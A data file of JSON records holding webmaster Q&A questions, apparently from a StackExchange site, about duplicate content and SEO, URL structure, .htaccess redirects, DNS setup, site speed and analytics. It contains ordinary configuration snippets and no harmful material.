{"id":"58980","title":"Adding same text in each Wordpress blog post - SEO relevant?","text":"I am adding a text below each blog post from my Wordpress PHP code. Since its always the same, I am wondering if thats counted as duplicate content by for example Google? What do you think? Thanks for letting me know :)."}
{"id":"60867","title":"What happen If I post articles from other websites?","text":"In my website I'm posting 5 articles everyday from different websites(sources), Will Google penalize for this behavior, if so how should I handle this ? I'm doing this for more than 2 years. Please suggest me a solution."}
{"id":"12057","title":"Redirecting domains to prevent duplicate content","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have 2 domains: www.company.com and www.product.com I like both domains, they both point to the same site. I have all my canonical links set up properly, but do I have to pick one of the domains to be the master? Some of my visitors really like going to product.com\/page.html And others like company.com\/page.html But should they ALL 301 and redirect to company.com\/page.html?"}
{"id":"4660","title":"Duplicate subdomains and SEO","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I have two subdomains for the same website. One has quite a high page rank, the other does not register. Is there anything that I need to think about in regards of SEO in this scenario? EDIT: Example: `blog.example.com` and `drupal.example.com` are two aliases for the same content. The first has a very high page rank, the second has none."}
{"id":"19032","title":"Can duplicate content on a .com and a .co.uk site impact google ranking?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? Can you please tell me if launching a .co.uk version of an English .com site can cause problems with ranking in Google SERPs? We have a .com eCommerce site with 100,000+ indexed pages. The site is many years old and has a page rank of 5 so it has a long history and lots of links. We launched a .co.uk version which used the same content for about 50,000 products, but uses pounds sterling and UK pricing. Within two weeks, we went from getting 2,000 visitors a day to our .com site down to about 60 visitors per day. We have been struggling with this issue for the past 30 days and it's costing us a lot of money. We had not considered the possibility that a .co.uk site could cause this big a problem. The main .com website is still well indexed and crawled, but seems to have been filtered out of search results. The .co.uk site shows up in the US searchers on Google.com and the .com site seems to be in the more results section. Could this be the problem we are dealing with? Could the .com site be suffering from a filter that shows the co.uk site instead. If so, do you have any suggestions on what we can do to remedy the situation."}
{"id":"3078","title":"SEO: Duplicate content caused by pagination\/tag\/index pages","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I read that I should use a `NoIndex` tag for transitional pages like index, pagination, or tag pages. Is this true? I have a Tumblr blog that I am considering putting `NoIndex` on the index, search, tag, pagination, and date pages. Is `NoIndex` enough or are there other methods? Should the index page of a site be marked as `NoFollow`? That doesn't really sound too good. What are the pages you would put `NoIndex` on?"}
{"id":"35567","title":"Universal navigation menu across domains - would it be considered duplicate content?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? Across different sites on different second-level domains exists a universal navigation bar with a collection of roughly 30 links. This universal bar is exactly the same for every page on each domain. The bar's HTML, CSS and JavaScript are all stored in a subfolder for each domain and the HTML is embedded upon serving the page and is not being injected on the client side. None of the links use any rel directives and are as vanilla as can be. My question is about Google's duplicate content rule. Would something like this be considered duplicate content? Matt Cutt's blog post about duplicate content mentions boilerplate repetition, but then he mentions lengthy legalese. Since the text in this universal bar is brief and uses common terms, I wonder if this same rule applies. If this is considered duplicate content, what would be a good way to correct the problem?"}
{"id":"34855","title":"How to Keep SEO Score from Dropping with Duplicate Content","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I'm hoping that someone has a solution for what I'm trying to accomplish. I'm working on a travel agency web site and there's a \"Overview\" section for each cruise line. These overviews are located on the index page for each cruise line. Here's my issue: The company is creating a search engine that includes details on each cruise line. Their write-ups on each cruise line are great, so I'd like to include the overview they created for each cruise line, rather than having to create all new ones. However, I don't want duplicating their content to negatively affect the SEO scores of the pages they originally put this content on. It's gong to duplicate, since each page that's dynamically generated by their search engine is going to include a section about the cruise line (where I'd want to place the overview). Question: Is there any way that I can include these overviews (ideally, copying the exact HTML that they've already implemented) without the search engines indexing those particular code sections? I'd want the rest of the search result pages to be indexed...just not the section of each page that contains this duplicate code. I saw something about using a span class named robots-nocontent in Yahoo (not sure if this also applies to Bing) and googleon \/ googleoff tags in Google. Is this the best solution? I'm open to any suggestions, thanks!"}
{"id":"25174","title":"Are multiple results from a website search considered duplicate content?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? The website is a Magento store , but I believe this applies to any product search. We have a search form which takes several parameters. Each combination of parameters results in a different set of products being returned. Obviously sometimes the same product will appear in a different set of products. Very little changes outside the products list when we filter the search: the title tag and the filters lists, the one major change is the product list, where some products will disappear, but most of the time they will repeat through different filters. Also since we have different urls the search engine is treating them as different pages. Is this considered duplicated content? Also what is the best way to make my search seo friendly? Listing all my products and using the canonical tag to point every search there is an option, but is this the right choice? Aren't I losing the possible keyword combinations from my filtres (category, price range, brand)?"}
{"id":"19522","title":"How to avoid duplicate content penalties for \"multi-homed\" content?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? My website is for U.S. military members, helping them enjoy their base more by providing places to go on\/off base, and information to learn about the base. It is capable of supporting every military base world-wide. Each base has it's own landing page. From here users can see content like: place pages, \"blog\" posts, etc... Here's where my question comes in. Places can be viewed by bases within a given distance of that place, so some places will appear on multiple base pages. Blog posts are tiered. They can be global (appear on all bases), regional (appear in all U.S. bases, or overseas), sub-regional (appear in Japan, or Germany, etc...), or specifically for one base. **How do I avoid duplicate content penalties for places\/posts that span more than one base?** For example: here is the same post on one base, and on another. The url is different, but the content is the same, but it's \"legitimately duplicated\"."}
{"id":"53919","title":"Statics Banner Content Consider as Duplicate?","text":"One Quarry!! Suppose if I have site having 10 pages (with 3 different categories) and all pages have one static banner which is running in all pages. Now let say it 3 categories be A, B , C defining 3 services and having few content on the banner representing the service then condition of duplicate content will arise or not??"}
{"id":"26974","title":"Part of content is available in another page. Does that qualify as duplicate?","text":"> **Possible Duplicate:** > What is duplicate content and how can I avoid being penalized for it on my > site? I know that duplicate content needs to be addressed in some ways, but this problem is bugging me for some time I have no clue how to solve it. I have a page say a product page with URL **\/product\/1234\/name-of-product** that part of it is displaying a stream of news related to this product with a \"more\" button at the end, like Facebook stream. This more button when clicked is intercepted by javascript code which will fetch the rest of stream through an AJAX request to URL **\/stream\/product?keyword=name-of-product**. However if the JS is disabled or for some reason the AJAX cannot be made the link works the normal way which will go to the URL above which will show only the stream. Now I don't know how to tell search engines that this PART of the page is the same as the stream URL. The thing is I don't want the stream URL to rank higher than main product page. Is it right to put a _rel=canonical_ on the stream page that point to product page? If true the product page is only showing a portion of stream and for more it links back to stream page again. I'm confused a little here. Thanks in advance and I'll provide further information if required to clear this up."}
{"id":"55596","title":"Why Wikipedia does not have duplicate content issues with search engines?","text":"I discovered that the following 2 URLs are serving exactly same content. Why is this not impacting Wikipedia's SEO? I've heard having same content across 2 URLs has negative impact on SEO. http:\/\/en.wikipedia.org\/wiki\/Data_mining http:\/\/en.wikipedia.org\/w\/index.php?title=Data_mining Disclaimer: I'm a developer, not in SEO or marketing so don't know much about SEO."}
{"id":"15879","title":"How to send hundreds of emails an hour with content personalized to each user?","text":"There are more than 10 categories in my site, users can register more than one category. My PHP script prepares content for each category, according to user preferences. My script merges those contents for each user, so every user can get personalized content from the categories they want. The problem is, I want to send 340+ mails per hour and DreamHost doesn't allow it. I think to a service like MailChimp but I couldn't find that scenario. Do they support personalized category & content? Can I use SMTP in DreamHost?"}
{"id":"15700","title":"CMS for single user-editable pages?","text":"Does anybody know of a CMS where users can edit their own page, and their page _only_ (something similar to about.me, except with more customization\/options)? I'm not talking about profiles, but more like an individual web page for people's businesses. I want to be able to give local businesses the opportunity to make a single web page for their businesses with ease. I have looked at many CMS's, but I can't find anything that offers this type of functionality. I've check out the following: * Unify * Concrete 5 * Drupal * Simple CMS * CMS Made Simple (and more) If anybody knows a CMS with the functionality that I'm looking for, or even a regular CMS with modules\/plugins that I would be able to use, that would be awesome. Also: the cheaper, the better :D Thanks, Gerard"}
{"id":"6810","title":"Domain Mapping with Wordpress.com","text":"My girlfriend has set up a blog\/website for herself on wordpress.com but also has a domain name she'd like to use when giving out her website URL, instead of a wordpress.com subdomain. Wordpress has some info about that here: http:\/\/en.support.wordpress.com\/domain-mapping\/map-existing-domain\/ I'm interesting in knowing more about the pros and cons of handing over a domain to Wordpress like this. Has anyone done it?"}
{"id":"6816","title":"Howto use .htaccess with exclusions","text":"I want all requests on a domain to be redirected to https, with the exception of just one particular file. I'm not sure how to accomplish that with .htaccess -bash-3.2# cat .htaccess ErrorDocument 404 http:\/\/ www.domain.com RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$ https:\/\/ www.domain.com\/$1 [R,L] -bash-3.2# The above code redirects everything perfectly, however I need the robots.txt file to be accessible via http:\/\/ vs the https:\/\/ only"}
{"id":"9757","title":".htaccess rules to rewrite URLs to front end page?","text":"I am adding a new application to my site at example.com\/app. I want views at that URL to always open myapp.php. E.g. example.com\/app -> example.com\/app\/myapp.php and example.com\/app\/ -> example.com\/app\/myapp.php **What's the correct form of rewrite rules in the .htaccess file?** I've got: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/app\/ RewriteRule ^myapp\\.php$ - [L] RewriteRule ^myapp.php$ - [L] RewriteRule . - [L] <\/IfModule> ...based on what the Wordpress front-end does. But all I see at example.com\/app is a directory of files. :( (I put those rewrites at the top of my .htaccess file). Any ideas? **Update** What actually worked: RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_URI} ^\/app(\/.*)?$ [NC] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule . \/app\/myapp.php [L] This is good because: 1. Explicit or implicit calls to app\/myapp.php work. 2. example.com\/app redirects to app\/myapp.php 3. example.com\/app\/ redirects to app\/myapp.php 4. example.com\/app\/subfunction redirects to app\/myapp.php 5. All other calls to example.com\/otherstuff are untouched. Item 4 is Wordpress-like Front Controller pattern behaviour. I think that rule RewriteCond %{REQUEST_URI} ^\/app.*$ [NC] needs refining as it allows \/app-oh-my-goodness etc. through too. Thanks for the answers."}
{"id":"9754","title":"Math to create web design grids?","text":"I have my own grid layout, and I am creating multiple column designs for a website. Is there any formula I can follow to create different column designs with identical gutter space, ie. margins? Most are the alike, (through trial and error), however some are a pixel off and I am looking to make it pixel perfect."}
{"id":"9753","title":"Google search does not show sub-pages from my website","text":"My website appears in Google search, but only the first page. Of course I have sub-pages linked from the first page, but the sub-pages do not show in Google search. Not in Yahoo, not in Bing. What should I do? It has been three years that sub-pages do not show. (I tried searching site:mydomain.com and pressed 'repeat the search with the omitted results included' link) What would you suspect the reason? My website addresses were like xxx.php?yy=zzz etc, etc, so I changed it to \/yy\/zzz using mod_rewrite. I thought it might be (X)HTML standard violations, so now I changed it. I hope Google will soon have my entire website, but I am a little bit pessimistic. Do you have any thought?"}
{"id":"29377","title":"Google Adsense and Private Networks","text":"As the title suggests, I'm trying to figure out if I can use Google Adsense on a private network. The network is accessible only by registered users, which made me think if it would work or not. Thanks in advance!"}
{"id":"29375","title":"Using another domain with Google App Engine","text":"I'm trying to change my google app engine domain (domain.appspot.com) to the domain I bought from 1&1.com (mydomain.com). I went into the google app engine settings and added the domain. After making a Google Apps account, I was asked to verify my domain. The directions say that 1&1 doesn't allow me to create TXT records, so I can't use that method for verification. Their alternative is to upload an HTML file to my server, but I didn't buy hosting with my domain, I just bought the domain. My files are on domain.appspot.com. How can I make mydomain.com point to domain.appspot.com? I've added the ns1.googleghs.com as my nameservers in my 1&1 DNS settings, but I still can't verify my domain with Google Apps."}
{"id":"10576","title":"What is the single most influential book about website promotion and internet marketing?","text":"What is the single most influential, useful, famous book about website promotion and internet marketing?"}
{"id":"20119","title":"I want to test major changes on my website without hurting SEO","text":"I want to replace all my website files for new ones on the server and to test if they work alright but I don't want to be crawled while this is happening or if I am, I don't want the crawler to be able to see what's in the new page. I just want to change it for like 15min but i tested other stuff once for 5min and google for webmasters told me they had a lot of 404's during that period and I don't want that to happen again. Besides that I don't want to have to write my whole .htaccess file. I considered redirecting all the urls to my main page and apply the changes but I think this isn't probably a good practice, any good ideas?"}
{"id":"10572","title":"Hide email adress with JavaScript","text":"I read somewhere that hiding email address behind JavaScript code, could reduce spam bots harvesting the email address. <script language=\"javascript\" type=\"text\/javascript\"> var a = \"Red\"; var t = \"no\"; var doc = document; var b = \"ITpro\"; var ad = a; ad += \"@\"; ad += b; ad += \".\"; ad += t; var mt = \"ma\"; mt += \"il\"; mt += \"to\"; var text = \"\"; if (text == null || text.length == 0) text = ad; doc.write(\"<\"+\"a hr\"+\"ef=\\\"\"+mt+\":\"+ad+\"\\\">\"+text+\"<\/\"+\"a>\"); <\/script> This will not display the actual email-address in the sourcecode of the page, but it will display and work like a normal link for human users. Is it any point of doing this? Will it reduce spam bots, or is it just nonsense that might slow down performance of the page because of the JavaScript?"}
{"id":"10573","title":"Are browsers supposed to automatically retrieve intermediate SSL certificates and do they?","text":"I have recently encountered the following issue: a user couldn't access a website that was using an intermediate VeriSign certificate because it is no longer included in Firefox. Some sources claim that Firefox will import the certificate from websites that send it, others say that it won't. Will it? If not, is it supposed to?"}
{"id":"244","title":"Tools to check for common vulnerabilities?","text":"Are there any good tools (desktop or online) which allow you to check whether your website has common vulnerabilities (e.g. SQL Injection, XSS)?"}
{"id":"25999","title":"Webiste Testing for SQL and CSS injection","text":"> **Possible Duplicate:** > Tools to check for common vulnerabilities? I would like to ask some tools or code for testing my new created website from **_SQL or CSS_** injection. The website in created in PHP and has login module which is use for ticketing system for support module. Url convention is **www.domainname.com\/index.php** Thanks in advance."}
{"id":"53577","title":"How to create a redirect page in Google Sites?","text":"How to create a redirect page in Google Sites? Example: Home → Page → _redirect_"}
{"id":"15380","title":"Ideas to improve website loading speed?","text":"Are there any ways in which I can improve the loading speed of a website? I know that Google is really pushing loading speeds and with the popularity of mobile websites it's now imperative that sites load quickly."}
{"id":"41139","title":"What is optimum time spent downloading a page?","text":"> **Possible Duplicate:** > Ideas to improve website loading speed? I saw on wpengine.com, > Google says they lose 20% of their traffic for each additional 100 > milliseconds it takes a page to load. Speed matters. Google also > incorporates your page-load time into your site’s search rankings. Faster > sites win, literally. That’s why WP Engine custom-built our EverCache > technology to deliver WordPress fast enough for Google, and at scale. The average download time of my site is 1216 ms. I think this value is too much. How can I reduce this time? Currently I am using shared hosting. If I switch to vps server, will this value reduce?"}
{"id":"56090","title":"cloudflare for joomla website and how to make it more optimized","text":"In our office somebody told to use cloudflare for better website browsing at client end.!! I've put our company's website on cloudflare, now.. what other changes should i make to make my website faster accessible by client end. The developer before me made our company's website in Joomla.. I'm not a good developer in Joomla either. Is joomla itself a faster kind of stuff producer??? And what other stuff should i follow to make my joomla website faster?"}
{"id":"67353","title":"Really slow wordpress website admin panel with a total query time 1664ms for the home page","text":"I have a problem with my WordPress website being too slow, I installed a debug bar to check queries in the home page, it reports 202 queries, and a total query time equal to 1665ms.  The cpu and the ram are in critical use.  Here is what i tried to do: * Optimize pluginDB to defrag the DB. * ThemeCheck plugin to analyse and clean my template. * W3C Total cache Plugin with object cachr enabled. Necessary plugins are: * WordPress SEO by YOAST * Jetpack service by WordPress.com * Contact form 7 Thank you"}
{"id":"24141","title":"Why is there a form which allows us to redirect our naked domain, yet it does nothing?","text":"In Google Apps Domain Management, There is a page for me to change how my naked domain `http:\/\/example.com` is redirected. However, in that page, it tells me **You must change the A-record at your domain host for this change to take effect**. Now if I have to change the A-records in my domain host manually, why do I still need to access this page for? If I change the A-records in my domain host manually, everything will work fine just as a _usual non-Google domain setup process_ isn't it? So what's the purpose of that form at all? "}
{"id":"63273","title":"How to copy or replicate a complex website to local file and modify then","text":"I am not good at designing the visual side of a website. I found a website which I gave 10 over 10 because its functionality suits my aims and also it seems very esthetical. I know HTML, PHP, mySQL and some degree of CSS. I don't know JS, Ajax, Jquery. So I want to replicate this web site (save completely) on my local and then modify it. (content, colors, icons etc.) I saved this web site in Chrome and IE. After clicking the site from my local folder, a saw an ugly & non-working site. My aim is to understand the functions of the parts that I don't know. For example when I delete a js in its page what will happen as the result of the deletion operation. Since the page is too complex it has lots of css, js files to download inside. I don't want to deal it manually. Is there any alternative and easy way to get the web page completely to my local which also works like a charm from local? regards"}
{"id":"59122","title":"Redirecting a Preview DNS subdomain to a domain with htaccess","text":"I want to redirect all the WordPress urls of the form `http:\/\/example.com.previewdns.com\/my-favorite-post\/` to `http:\/\/example.com\/my-favorite-post\/` I am trying to do this with the below .htaccess code.. But its not working RewriteEngine On RewriteBase \/ RewriteCond %{HTTP_HOST} !^example.com.previewdns.com$ [NC] RewriteRule ^(.*)$ http:\/\/example.com\/$1 [L,R=301] Please help"}
{"id":"15393","title":"Is a URL with a query string better or worse for SEO then one without one?","text":"I want to know, is there a huge difference in terms of SEO between these URLs: > mysite.com\/ontario\/toronto\/listings > > or > > mysite.com\/listings.php?p=ontario&c=toronto Will one URL rank higher than another? Is there a huge difference here?"}
{"id":"38628","title":"How important are SEO Friendly URLs","text":"> **Possible Duplicate:** > Is a URL with a query string better or worse for SEO then one without one? Currently, my URLs look something like `http:\/\/mydomain.ext\/question\/5` where `question` is the Controller and `5` is the ID of the object or article retrieved. In theory I could spend some development time and some server resources to have URLs that would contain more information about the page loaded. However, seeing how websites like Youtube or many others just keep simple URLs with just an ID, I am asking, does it matter? It is worth it??"}
{"id":"28421","title":"Are urls with ?page=something bad for SEO?","text":"> **Possible Duplicate:** > Is a URL with a query string better or worse for SEO then one without one? I have a listing of members on my homepage. My dynamic urls are quite simple: http:\/\/mysite.com\/members?page=8 I just use the query parameter to go from page to page. Is this bad for SEO? Should I be doing something like this instead?: http:\/\/mysite.com\/members\/page\/8"}
{"id":"35595","title":"parameters in a seo url","text":"> **Possible Duplicate:** > Is a URL with a query string better or worse for SEO then one without one? This should be a very simple question for seo experts. Let's say we have the following URLs: * http:\/\/www.test.com\/some-sort-of-page * http:\/\/www.test.com\/some-sort-of-page?pgid1189 * http:\/\/www.test.com\/some-sort-of-page\/page\/1189 * http:\/\/www.test.com\/page\/1189\/some-sort-of-page The first one is an ideal solution. What i need to do is to somehow pass a resource identifier in the url to know exactly what this url is pointing to, since it can be pointing to a lot of different things. In the second URL, \"pgid\" specifies that the resource is a \"page\". URLs 3 and 4 specify the same thing differently. I do not care if the URL is friendly to people, because, let's face it - 99.9% of people will never ever ever bother to remember such url no matter how \"friendly\" it is. So the question is: which of the last 3 URLs would be the best solution for search engines? My guess is it would be the 2nd with query string, but i might be wrong. Thanks for your thoughts P.S. please don't offer using the first url. There's no problem using it, but the question is not about that."}
{"id":"65423","title":"Is using URL parameters bad for SEO?","text":"I recently noticed that my web page have problems with Google and good search results. Many of the existing SEO tools suggests that my website uses bad URLs for SEO. I'm using a single PHP file that handles all the sections via parameters. By example: * www.alanmarth.com\/index.php (Main Page) * www.alanmarth.com\/index.php?seccion=servicios (Services) * www.alanmarth.com\/index.php?seccion=blog (Recent news) * www.alanmarth.com\/index.php?seccion=blog&cat=2 (News category) * www.alanmarth.com\/index.php?seccion=blog&id=3 (A single entry) Is this ok? If it isn't, how can I solve it without having to rewrite my entire site?"}
{"id":"49389","title":"What are the pro and cons of using friendly URLs compared to query parameters (and vice versa)?","text":"I am noticing that more and more sites prefer using \"friendly URLs\" over adding information as query parameters. For example: domain.com\/product\/3343\/ compared to domain.com?page=product&id=3343 Disregarding personal flavor, what are the core differences between the two approaches?"}
{"id":"67202","title":"Best practice URL structure for pagination","text":"Is one of these formats for pagination better for SEO? * www.example.com\/list\/1 * www.example.com\/list?page=1 What considerations or factors should go into selecting one format or the other? I'm relatively new to this and don't want to make the wrong call."}
{"id":"63277","title":"Apache mod_pagespeed ignores redirected pages","text":"Using mod_pagespeed (https:\/\/developers.google.com\/speed\/pagespeed\/module) with an Apache Server, I noticed that some pages were not being processed. The pages in question all had one similar attribute - they were \"redirected\" pages - for example an ErrorDocument response or an \"index.html\" file serving as the response when a directory is requested. Is there any way to remedy this? I've checked the FAQ and had a good trawl through the PageSpeed Documentation but to no avail."}
{"id":"8843","title":"What is a light-weight \"slideshow\" script that could integrate w\/ CMS?","text":"I'm looking to reduce the footprint of my Strict html 4.01 front page. One possible way is to combine much of the \"upcoming events\" into a single small box, and have them automagically switch which one is displayed every few seconds. I'm sure there are a bunch of this kind of thing written already, and surely an open source one exists, but I haven't had much luck find one. I'd prefer javascript to jQuery as installing jQuery might not be an option, but if the best-fit script requires jQuery I'd certainly be willing to investigate that route. If it can display content from Wordpress that would be ideal."}
{"id":"58287","title":"Is 301 redirecting of *.example.com to example.com dangerous?","text":"I bought a domain which has several subdomains that don`t exist anymore but are indexed in Google. Is it dangerous from the SEO perspective to do 301 redirect to my homepage from all kind of subdomains that I don't use\/not exist? And does it help with the Google's index?"}
{"id":"67590","title":"How can I change the order of the DNS records in the `dot.tk` DNS server?","text":"I have a DNS record with three `A` records: the main site, and two backups. However, when clients perform a DNS lookup, they reach a backup site. How can I change the order of the DNS records in `dot.tk's` DNS server?"}
{"id":"22992","title":"When multiple developers use cPanel, can they get individual passwords that prevent them from uploading into each other's directories?","text":"I have multiple developers working on my cPanel account simultaneously. I want to assign them individual directories to work. I would need to be able to secure other directories from the developers not working on it. I want the website user to be able to access the pages via their web browsers and not be asked credentials."}
{"id":"44977","title":"Find out where a viewer comes from with Google Analytics","text":"Does anyone know if it is possible to determine which company a visitor to your site comes from? For example, if a person is sitting in the offices at Coca-cola or IBM or whatever and visits your site, can Google Analytics (or some other service akin to that) tell that you are coming from those locations?"}
{"id":"8914","title":"How do search engines handle hyphenated words?","text":"I am not sure my title fully explains what I mean. I thought this might be an interesting question. If I had a set of keywords, broken with a dash or 2, will search engines consider the dashed split keyword as maybe a full keyword? Say I have a site that sort of breaks words down, like the dictionary sites do. So a keyword for that page, might end up in the page, and \/ or the URL, as broken by dashes. Key-word = keyword Co-op-er-at-ive = cooperative Pho-to-gra-phy = Photography www.example.com\/key-word\/ www.example.com\/co-op-er-at-ive\/ www.example.com\/pho-to-gra-phy\/ I know search engines will consider a dash (at least Google) as a space, and understand it as multiple words. But in the English language, a dash can also break a word down (at least I think it can, can't it?), so will search engines also take this into consideration? I did a 'little' research, I Googled some words and placed random dashes, and it returned the words I searched for, but this could be considered a typo from the user on Google's search end, so really I am wondering if I can purposely put a dash in a keyword, and have the search engine spiders still catch that keyword as the real word without dashes? I've done a little Googling and looking here on Stackoverflow, but everything comes down to dashes for multiple words, not really the specific thing I'm trying to figure out. Hopefully that makes sense, I am not an expert in SEO, yet, but get the basics and have been playing, and this is just really a random question to satisfy my knowledge of playing :P"}
{"id":"57615","title":"Why does my 9 months old site with more than 400 pages has PR0?","text":"I have a paid applicants' testing site with average traffic of 40 visitors per day. The site is very legitimate and allows people to take technical tests based on a unique content our private community creates. The site runs in production for 9 months now, and I get some traffic from Google. The thing that I fail to understand is that my PageRank is 0 (all this time). All the site's pages have special URLs generated according to their content and we gave special SEO attention to the pages using SEOmoz. What am I doing wrong? How can I tell what is the problem? The site name is `codelect.net`."}
{"id":"30622","title":"SEO on an existing platform","text":"I'm given the task to increase user visits and conversions on for a recruitment website. Conversions would be interested job seekers submitting their CV. The manager would first like to increase the organic search results and optimize the website before starting with targeted campaigns. The problem is, they are using a proprietary recruitment software platform which I can barely add changes to. For example, the url's all look like dynamic url's without any semantic meaning and the markup is almost completely build automatically by that platform. I'm also confident that the lack of submitted CV's is due to a bad user experience of the website (no incentives or clear CTA to register) Besides optimizing the static texts and page titles, is there anything I can do?"}
{"id":"26330","title":"The $1000-Dollar Bill","text":"So I know that this question will vary heavily for the type of website, but here it is. Imagine you have a $1000 to spend on your new website. You can handle development and hosting yourself. In what way would you spend it to push it into a legitimate business? I would imagine most of it going towards advertising, yet I find it is very hard to assign a number to the about of users $1000 can buy. So to you veterans out there, how do you invest on your website? Withstanding the common overhead of development and maintenance, what would you spend it on? How many and how quickly can money buy users?"}
{"id":"26819","title":"Migrated website: PageRank and 404's","text":"We have recently migrated our website and a lot of pages that existed on the old website no longer exist on the new website. We did create redirect rules to match the URLs from the old and the new website with a `301` but only for `50%` of our content. We have around `195K` pages which give a `404`, and `180K` pages properly redirected. We know serving a `404` to search engine bots is bad for PageRank, but are wondering whether it's bad for the overall ranking of the website. Here are our questions: **Q1: Is a`404` on a particular page affecting the PageRank of other pages and\/or overall ranking of a website?** We know we can remove the `404` pages from the Google index via the `webmaster tools` but given the number of URLs that were and were not properly rewritten, we don't think we will be able to remove only the `404`. We also know that eventually Google will remove those `404` pages of its index. **Q2: Is it better to remove everything and let Google re-index the website from scratch (and only non-`404` will remain), or leave everything and have the `404` pages removed over time by themselves?**"}
{"id":"26810","title":"How to find the hidden download link of a file?","text":"I want to write a flexget config file to download some subtitle files form http:\/\/subs.sab.bz\/ The site provides rss feeds for its new releases. Unfortunately, the link provided will open a download page, but will not get the file. I browsed through the code of the download page and the download link in the code will open the download page again when pasted in the browser will re-open the download page again... Clicking on the download button, though, will start the download of a rar file. I want to get to the link for downloading this rar file(containing the subtitle files) Is there a way to bypass this behavior. I read that usually a script on the server will provide the direct link of the download, I want to get that direct link. Alternative solution will be a linux (Ubuntu 11.10 preferred) download manager, which is able to read RSS, trigger download based on filter( specific shows) download the file to specific location, and unpack it"}
{"id":"57611","title":"How to create a dynamic grid that makes the current selection larger?","text":"You see website http:\/\/stackexchange.com\/sites containing lots of images. By clicking each image it expands and clicking another images it expands and collapse previous clicked image. I have attached images below.. ### Before clicking image webmasters:  ### After clicking image webmasters: "}
{"id":"58686","title":"Can I get source URL from Google search if I switch to HTTPS myself?","text":"HTTPS cloaks the keywords, but I've read that by enabling HTTPS on my site I may at least get the source URL's - if the browser goes from HTTPS -> HTTPS it does not drop the source url in the packet header, but going HTTPS -> HTTP does end up dropping it. Is it true? Should I invest into a SSL certificate so that I may get at least some valid data for my eshop?"}
{"id":"13891","title":"Will a 301 redirect help in maintaining proper page rank?","text":"I have `http:\/\/www.example.com\/article` Due to rampant content development by authors in my site, `http:\/\/example.com\/article` has also been widely indexed by Google. Now, both are there roughly in equal numbers in Google search result. So, the total page rank for the corresponding keywords is shared between the two URLs. I want only `http:\/\/www.example.com\/article` to be indexed and have all the page rank value that it deserves. Will doing a 301 redirect from `http:\/\/example.com\/article` to `http:\/\/www.example.com`\/article achieve it? If not, what else should I do?"}
{"id":"58684","title":"Can Google index pages that use framesets generated by javascript (document.write)?","text":"I was tasked to check on why Google can't seem to index a client site properly. The site uses a framework given by client's parent company (so we can't use other framework). The framework use frameset for almost every page; the main page is a frameset, and many pages inside the individual frame also use frameset. And those framesets are written to the page using javascript (particulary document.write function). I know Google bots can index content in framesets, and able to execute some of javascript in a page to get data. But can it properly index the combination of both?"}
{"id":"33754","title":"Separate urls for a set of pages sharing 80% duplicate content","text":"Issue: Currently my site has one particular page which has country specific data. So I've URLs like : mysite.com\/sale-united-states mysite.com\/sale-united-kingdom mysite.com\/sale-sweden etc. All these pages have 80-90% common content and 10-20% country specific content. currently all these pages canonically point to `mysite.com\/sale- united-states`. The problem is when someone searches for \"sale Sweden\", Google correctly shows `mysite.com\/sale-united-states` page, which does not feel correct as it shows US page instead of Sweden. Now I'm thinking of not using canonical url so that country specific urls are produced in Google saerch. But I'm not sure how 80% duplicate content is going to affect SEO? What should be the recommended approach for this situation? A friend of mine suggested a \"separate subdomain per country\" based approach but it seems overkill for one page."}
{"id":"58682","title":"What exactly are backlinks to inner pages?","text":"I've been trying to get better SEO for a while. One of the tools I've been trying has suggested, > You must also build backlinks to your site's internal pages to help Google™ > bots crawl and index your web pages. There are links on the front page to other pages in the site. None of the information I can find really explains what those links actually are, what they look like in a page. If it helps to answer the question, I do have an updated sitemap thats updated about once a week, it gets resubmitted at least twice a month. The urls in the site are friendly urls."}
{"id":"24419","title":"Coming Soon Pages & SEO","text":"I am setting up my personal website, and I have designed a simple \"Coming Soon \/ Under Construction\" page which basically has nothing but a small notice for the users. What kind of SEO can I make on this page such that it won't harm the full website's ranking later on?"}
{"id":"60657","title":"What does it mean when Google Analytics says that a bug causes doubled visit counts that are automatically corrected?","text":"When I logged into Google Analytic's account, I have set out this warning Google Analytic's says: Universal properties created prior to December 2013 may temporarily report doubled Visits counts between the hours of 0500-0800 in the View timezone. This issue corrects itself automatically. We are working on a fix to address this issue as soon as possible. What do you think about this issue??"}
{"id":"56926","title":"Strange series of page visits to my web site","text":"In my web log I see 5 hits (to the same web page) all about the same time but from different parts of the world: 180.247.114.192 \/RelFinder?personId=17586 - From: null 2014-01-10 00:26:40.0 Opera\/9.64(Windows NT 5.1; U; en) Presto\/2.1.1 202.118.236.130 \/RelFinder?personId=7985 - From: null 2014-01-10 00:26:31.0 Opera\/9.64(Windows NT 5.1; U; en) Presto\/2.1.1 200.161.80.111 \/RelFinder?personId=17679 - From: null 2014-01-10 00:26:31.0 Opera\/9.64(Windows NT 5.1; U; en) Presto\/2.1.1 186.222.83.170 \/RelFinder?personId=17454 - From: null 2014-01-10 00:26:31.0 Opera\/9.64(Windows NT 5.1; U; en) Presto\/2.1.1 119.110.81.210 \/RelFinder?personId=16801 - From: null 2014-01-10 00:26:30.0 Opera\/9.64(Windows NT 5.1; U; en) Presto\/2.1.1 Any idea why someone would do this? I've seen a couple other visits like this in the past but usually just 2 visits from two different sites at the same time."}
